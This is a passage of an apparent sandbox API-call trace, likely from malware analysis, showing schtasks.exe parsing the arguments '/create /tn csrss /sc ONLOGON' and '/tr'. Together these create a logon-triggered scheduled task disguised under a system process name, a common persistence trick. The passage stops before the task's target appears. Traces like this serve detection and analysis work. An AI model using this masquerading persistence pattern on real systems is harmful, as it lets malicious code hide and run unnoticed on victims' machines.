lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0068.295] GetProcessHeap () returned 0x240000 [0068.295] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x74e) returned 0x25d1c0 [0068.295] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0068.296] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x25d1c0 | out: lpData=0x25d1c0) returned 1 [0068.296] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0068.296] VerQueryValueW (in: pBlock=0x25d1c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19f008, puLen=0x19f070 | out: lplpBuffer=0x19f008*=0x25d55c, puLen=0x19f070) returned 1 [0068.298] _memicmp (_Buf1=0x25cbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.298] _vsnwprintf (in: _Buffer=0x25cbd0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x19efe8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0068.298] VerQueryValueW (in: pBlock=0x25d1c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x19f078, puLen=0x19f068 | out: lplpBuffer=0x19f078*=0x25d388, puLen=0x19f068) returned 1 [0068.298] lstrlenW (lpString="schtasks.exe") returned 12 [0068.298] lstrlenW (lpString="schtasks.exe") returned 12 [0068.298] lstrlenW (lpString=".EXE") returned 4 [0068.298] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0068.299] lstrlenW (lpString="schtasks.exe") returned 12 [0068.299] lstrlenW (lpString=".EXE") returned 4 [0068.299] _memicmp (_Buf1=0x25cbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.299] lstrlenW (lpString="schtasks") returned 8 [0068.299] GetProcessHeap () returned 0x240000 [0068.299] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255e00 [0068.299] GetProcessHeap () returned 0x240000 [0068.299] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dad0 [0068.299] GetProcessHeap () returned 0x240000 [0068.300] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25db00 [0068.300] GetProcessHeap () returned 0x240000 [0068.300] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25db30 [0068.300] GetProcessHeap () returned 0x240000 [0068.300] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25cfd0 [0068.300] _memicmp (_Buf1=0x25cfd0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.300] GetProcessHeap () returned 0x240000 [0068.300] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xa0) returned 0x25cff0 [0068.300] GetProcessHeap () returned 0x240000 [0068.300] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25db60 [0068.300] GetProcessHeap () returned 0x240000 [0068.300] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25db90 [0068.300] GetProcessHeap () returned 0x240000 [0068.300] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dbc0 [0068.300] GetProcessHeap () returned 0x240000 [0068.300] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25d0a0 [0068.300] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.300] GetProcessHeap () returned 0x240000 [0068.300] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x200) returned 0x25e2a0 [0068.300] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0068.300] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0068.300] GetProcessHeap () returned 0x240000 [0068.300] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x30) returned 0x257b70 [0068.300] _vsnwprintf (in: _Buffer=0x25cff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x19efe8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0068.300] GetProcessHeap () returned 0x240000 [0068.301] GetProcessHeap () returned 0x240000 [0068.301] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d1c0) returned 1 [0068.301] GetProcessHeap () returned 0x240000 [0068.301] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d1c0) returned 0x74e [0068.302] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d1c0 | out: hHeap=0x240000) returned 1 [0068.302] SetLastError (dwErrCode=0x0) [0068.302] GetThreadLocale () returned 0x409 [0068.302] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.302] lstrlenW (lpString="?") returned 1 [0068.302] GetThreadLocale () returned 0x409 [0068.302] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.302] lstrlenW (lpString="create") returned 6 [0068.302] GetThreadLocale () returned 0x409 [0068.302] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.302] lstrlenW (lpString="delete") returned 6 [0068.302] GetThreadLocale () returned 0x409 [0068.302] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.302] lstrlenW (lpString="query") returned 5 [0068.302] GetThreadLocale () returned 0x409 [0068.302] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.302] lstrlenW (lpString="change") returned 6 [0068.302] GetThreadLocale () returned 0x409 [0068.303] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.303] lstrlenW (lpString="run") returned 3 [0068.303] GetThreadLocale () returned 0x409 [0068.303] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.303] lstrlenW (lpString="end") returned 3 [0068.303] GetThreadLocale () returned 0x409 [0068.303] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.303] lstrlenW (lpString="showsid") returned 7 [0068.303] GetThreadLocale () returned 0x409 [0068.303] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.303] SetLastError (dwErrCode=0x0) [0068.303] SetLastError (dwErrCode=0x0) [0068.303] lstrlenW (lpString="/create") returned 7 [0068.303] lstrlenW (lpString="-/") returned 2 [0068.303] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0068.303] lstrlenW (lpString="?") returned 1 [0068.303] lstrlenW (lpString="?") returned 1 [0068.303] GetProcessHeap () returned 0x240000 [0068.303] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25d1c0 [0068.303] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.303] GetProcessHeap () returned 0x240000 [0068.303] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xa) returned 0x25d1e0 [0068.303] lstrlenW (lpString="create") returned 6 [0068.303] GetProcessHeap () returned 0x240000 [0068.303] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25d200 [0068.304] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.304] GetProcessHeap () returned 0x240000 [0068.304] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x14) returned 0x25d220 [0068.304] _vsnwprintf (in: _Buffer=0x25d1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|?|") returned 3 [0068.304] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|create|") returned 8 [0068.304] lstrlenW (lpString="|?|") returned 3 [0068.304] lstrlenW (lpString="|create|") returned 8 [0068.304] SetLastError (dwErrCode=0x490) [0068.304] lstrlenW (lpString="create") returned 6 [0068.304] lstrlenW (lpString="create") returned 6 [0068.304] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.304] GetProcessHeap () returned 0x240000 [0068.304] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d1e0) returned 1 [0068.304] GetProcessHeap () returned 0x240000 [0068.304] RtlReAllocateHeap (Heap=0x240000, Flags=0xc, Ptr=0x25d1e0, Size=0x14) returned 0x25d240 [0068.304] lstrlenW (lpString="create") returned 6 [0068.304] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.304] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|create|") returned 8 [0068.304] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|create|") returned 8 [0068.304] lstrlenW (lpString="|create|") returned 8 [0068.304] lstrlenW (lpString="|create|") returned 8 [0068.304] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0068.304] SetLastError (dwErrCode=0x0) [0068.304] SetLastError (dwErrCode=0x0) [0068.304] SetLastError (dwErrCode=0x0) [0068.304] lstrlenW (lpString="/tn") returned 3 [0068.305] lstrlenW (lpString="-/") returned 2 [0068.305] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0068.305] lstrlenW (lpString="?") returned 1 [0068.305] lstrlenW (lpString="?") returned 1 [0068.305] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.306] lstrlenW (lpString="tn") returned 2 [0068.306] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.306] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|?|") returned 3 [0068.306] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|tn|") returned 4 [0068.306] lstrlenW (lpString="|?|") returned 3 [0068.306] lstrlenW (lpString="|tn|") returned 4 [0068.306] SetLastError (dwErrCode=0x490) [0068.306] lstrlenW (lpString="create") returned 6 [0068.306] lstrlenW (lpString="create") returned 6 [0068.306] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.306] lstrlenW (lpString="tn") returned 2 [0068.306] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.306] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|create|") returned 8 [0068.306] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|tn|") returned 4 [0068.306] lstrlenW (lpString="|create|") returned 8 [0068.306] lstrlenW (lpString="|tn|") returned 4 [0068.306] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0068.306] SetLastError (dwErrCode=0x490) [0068.306] lstrlenW (lpString="delete") returned 6 [0068.306] lstrlenW (lpString="delete") returned 6 [0068.306] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.306] lstrlenW (lpString="tn") returned 2 [0068.306] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.306] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|delete|") returned 8 [0068.307] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|tn|") returned 4 [0068.307] lstrlenW (lpString="|delete|") returned 8 [0068.307] lstrlenW (lpString="|tn|") returned 4 [0068.307] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0068.307] SetLastError (dwErrCode=0x490) [0068.307] lstrlenW (lpString="query") returned 5 [0068.307] lstrlenW (lpString="query") returned 5 [0068.307] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.307] lstrlenW (lpString="tn") returned 2 [0068.307] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.307] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|query|") returned 7 [0068.307] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|tn|") returned 4 [0068.307] lstrlenW (lpString="|query|") returned 7 [0068.307] lstrlenW (lpString="|tn|") returned 4 [0068.307] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0068.307] SetLastError (dwErrCode=0x490) [0068.307] lstrlenW (lpString="change") returned 6 [0068.307] lstrlenW (lpString="change") returned 6 [0068.307] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.307] lstrlenW (lpString="tn") returned 2 [0068.307] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.307] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|change|") returned 8 [0068.307] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|tn|") returned 4 [0068.307] lstrlenW (lpString="|change|") returned 8 [0068.307] lstrlenW (lpString="|tn|") returned 4 [0068.307] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0068.307] SetLastError (dwErrCode=0x490) [0068.307] lstrlenW (lpString="run") returned 3 [0068.307] lstrlenW (lpString="run") returned 3 [0068.307] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.308] lstrlenW (lpString="tn") returned 2 [0068.308] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.308] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|run|") returned 5 [0068.308] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|tn|") returned 4 [0068.308] lstrlenW (lpString="|run|") returned 5 [0068.308] lstrlenW (lpString="|tn|") returned 4 [0068.308] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0068.308] SetLastError (dwErrCode=0x490) [0068.308] lstrlenW (lpString="end") returned 3 [0068.308] lstrlenW (lpString="end") returned 3 [0068.308] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.308] lstrlenW (lpString="tn") returned 2 [0068.308] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.308] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|end|") returned 5 [0068.308] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|tn|") returned 4 [0068.308] lstrlenW (lpString="|end|") returned 5 [0068.308] lstrlenW (lpString="|tn|") returned 4 [0068.308] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0068.308] SetLastError (dwErrCode=0x490) [0068.308] lstrlenW (lpString="showsid") returned 7 [0068.308] lstrlenW (lpString="showsid") returned 7 [0068.308] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.308] GetProcessHeap () returned 0x240000 [0068.308] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d240) returned 1 [0068.308] GetProcessHeap () returned 0x240000 [0068.308] RtlReAllocateHeap (Heap=0x240000, Flags=0xc, Ptr=0x25d240, Size=0x16) returned 0x25d240 [0068.309] lstrlenW (lpString="tn") returned 2 [0068.309] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.309] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|showsid|") returned 9 [0068.309] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|tn|") returned 4 [0068.309] lstrlenW (lpString="|showsid|") returned 9 [0068.309] lstrlenW (lpString="|tn|") returned 4 [0068.309] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0068.309] SetLastError (dwErrCode=0x490) [0068.309] SetLastError (dwErrCode=0x490) [0068.309] SetLastError (dwErrCode=0x0) [0068.309] lstrlenW (lpString="/tn") returned 3 [0068.309] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0068.309] SetLastError (dwErrCode=0x490) [0068.309] SetLastError (dwErrCode=0x0) [0068.309] lstrlenW (lpString="/tn") returned 3 [0068.309] GetProcessHeap () returned 0x240000 [0068.309] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x8) returned 0x25d1e0 [0068.309] GetProcessHeap () returned 0x240000 [0068.309] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dbf0 [0068.309] SetLastError (dwErrCode=0x0) [0068.309] SetLastError (dwErrCode=0x0) [0068.309] lstrlenW (lpString="csrss") returned 5 [0068.309] lstrlenW (lpString="-/") returned 2 [0068.309] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0068.309] SetLastError (dwErrCode=0x490) [0068.309] SetLastError (dwErrCode=0x490) [0068.309] SetLastError (dwErrCode=0x0) [0068.309] lstrlenW (lpString="csrss") returned 5 [0068.309] StrChrIW (lpStart="csrss", wMatch=0x3a) returned 0x0 [0068.309] SetLastError (dwErrCode=0x490) [0068.309] SetLastError (dwErrCode=0x0) [0068.309] lstrlenW (lpString="csrss") returned 5 [0068.309] GetProcessHeap () returned 0x240000 [0068.309] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xc) returned 0x25d270 [0068.309] GetProcessHeap () returned 0x240000 [0068.309] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dc20 [0068.310] SetLastError (dwErrCode=0x0) [0068.310] SetLastError (dwErrCode=0x0) [0068.310] lstrlenW (lpString="/sc") returned 3 [0068.310] lstrlenW (lpString="-/") returned 2 [0068.310] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0068.310] lstrlenW (lpString="?") returned 1 [0068.310] lstrlenW (lpString="?") returned 1 [0068.310] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.310] lstrlenW (lpString="sc") returned 2 [0068.310] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.310] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|?|") returned 3 [0068.310] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|sc|") returned 4 [0068.310] lstrlenW (lpString="|?|") returned 3 [0068.310] lstrlenW (lpString="|sc|") returned 4 [0068.310] SetLastError (dwErrCode=0x490) [0068.310] lstrlenW (lpString="create") returned 6 [0068.310] lstrlenW (lpString="create") returned 6 [0068.310] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.310] lstrlenW (lpString="sc") returned 2 [0068.310] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.310] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|create|") returned 8 [0068.310] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|sc|") returned 4 [0068.310] lstrlenW (lpString="|create|") returned 8 [0068.310] lstrlenW (lpString="|sc|") returned 4 [0068.310] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0068.310] SetLastError (dwErrCode=0x490) [0068.310] lstrlenW (lpString="delete") returned 6 [0068.310] lstrlenW (lpString="delete") returned 6 [0068.310] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.311] lstrlenW (lpString="sc") returned 2 [0068.311] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.311] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|delete|") returned 8 [0068.311] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|sc|") returned 4 [0068.311] lstrlenW (lpString="|delete|") returned 8 [0068.311] lstrlenW (lpString="|sc|") returned 4 [0068.311] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0068.311] SetLastError (dwErrCode=0x490) [0068.311] lstrlenW (lpString="query") returned 5 [0068.311] lstrlenW (lpString="query") returned 5 [0068.311] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.311] lstrlenW (lpString="sc") returned 2 [0068.311] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.311] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|query|") returned 7 [0068.311] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|sc|") returned 4 [0068.311] lstrlenW (lpString="|query|") returned 7 [0068.311] lstrlenW (lpString="|sc|") returned 4 [0068.311] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0068.311] SetLastError (dwErrCode=0x490) [0068.311] lstrlenW (lpString="change") returned 6 [0068.311] lstrlenW (lpString="change") returned 6 [0068.311] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.311] lstrlenW (lpString="sc") returned 2 [0068.311] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.311] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|change|") returned 8 [0068.311] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|sc|") returned 4 [0068.311] lstrlenW (lpString="|change|") returned 8 [0068.311] lstrlenW (lpString="|sc|") returned 4 [0068.311] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0068.311] SetLastError (dwErrCode=0x490) [0068.311] lstrlenW (lpString="run") returned 3 [0068.312] lstrlenW (lpString="run") returned 3 [0068.312] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.312] lstrlenW (lpString="sc") returned 2 [0068.312] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.312] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|run|") returned 5 [0068.312] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|sc|") returned 4 [0068.312] lstrlenW (lpString="|run|") returned 5 [0068.312] lstrlenW (lpString="|sc|") returned 4 [0068.312] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0068.312] SetLastError (dwErrCode=0x490) [0068.312] lstrlenW (lpString="end") returned 3 [0068.312] lstrlenW (lpString="end") returned 3 [0068.312] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.312] lstrlenW (lpString="sc") returned 2 [0068.312] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.312] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|end|") returned 5 [0068.312] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|sc|") returned 4 [0068.312] lstrlenW (lpString="|end|") returned 5 [0068.312] lstrlenW (lpString="|sc|") returned 4 [0068.312] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0068.312] SetLastError (dwErrCode=0x490) [0068.312] lstrlenW (lpString="showsid") returned 7 [0068.312] lstrlenW (lpString="showsid") returned 7 [0068.312] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.312] lstrlenW (lpString="sc") returned 2 [0068.312] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.312] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|showsid|") returned 9 [0068.312] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|sc|") returned 4 [0068.312] lstrlenW (lpString="|showsid|") returned 9 [0068.312] lstrlenW (lpString="|sc|") returned 4 [0068.313] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0068.313] SetLastError (dwErrCode=0x490) [0068.313] SetLastError (dwErrCode=0x490) [0068.313] SetLastError (dwErrCode=0x0) [0068.313] lstrlenW (lpString="/sc") returned 3 [0068.313] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0068.313] SetLastError (dwErrCode=0x490) [0068.313] SetLastError (dwErrCode=0x0) [0068.313] lstrlenW (lpString="/sc") returned 3 [0068.313] GetProcessHeap () returned 0x240000 [0068.313] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x8) returned 0x25d290 [0068.313] GetProcessHeap () returned 0x240000 [0068.313] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dc50 [0068.313] SetLastError (dwErrCode=0x0) [0068.313] SetLastError (dwErrCode=0x0) [0068.313] lstrlenW (lpString="ONLOGON") returned 7 [0068.313] lstrlenW (lpString="-/") returned 2 [0068.313] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0068.313] SetLastError (dwErrCode=0x490) [0068.313] SetLastError (dwErrCode=0x490) [0068.313] SetLastError (dwErrCode=0x0) [0068.313] lstrlenW (lpString="ONLOGON") returned 7 [0068.313] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0068.313] SetLastError (dwErrCode=0x490) [0068.313] SetLastError (dwErrCode=0x0) [0068.313] lstrlenW (lpString="ONLOGON") returned 7 [0068.313] GetProcessHeap () returned 0x240000 [0068.313] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25d2b0 [0068.313] GetProcessHeap () returned 0x240000 [0068.313] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dc80 [0068.313] SetLastError (dwErrCode=0x0) [0068.313] SetLastError (dwErrCode=0x0) [0068.313] lstrlenW (lpString="/tr") returned 3 [0068.313] lstrlenW (lpString="-/") returned 2 [0068.313] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0068.313] lstrlenW (lpString="?") returned 1 [0068.313] lstrlenW (lpString="?") returned 1 [0068.313] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.314] lstrlenW (lpString="tr") returned 2 [0068.314] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.314] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|?|") returned 3 [0068.314] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19eff8 | out: _Buffer="|tr|") returned 4 [0068.314] lstrlenW (lpString="|?|") returned 3 [0068.314] lstrlenW 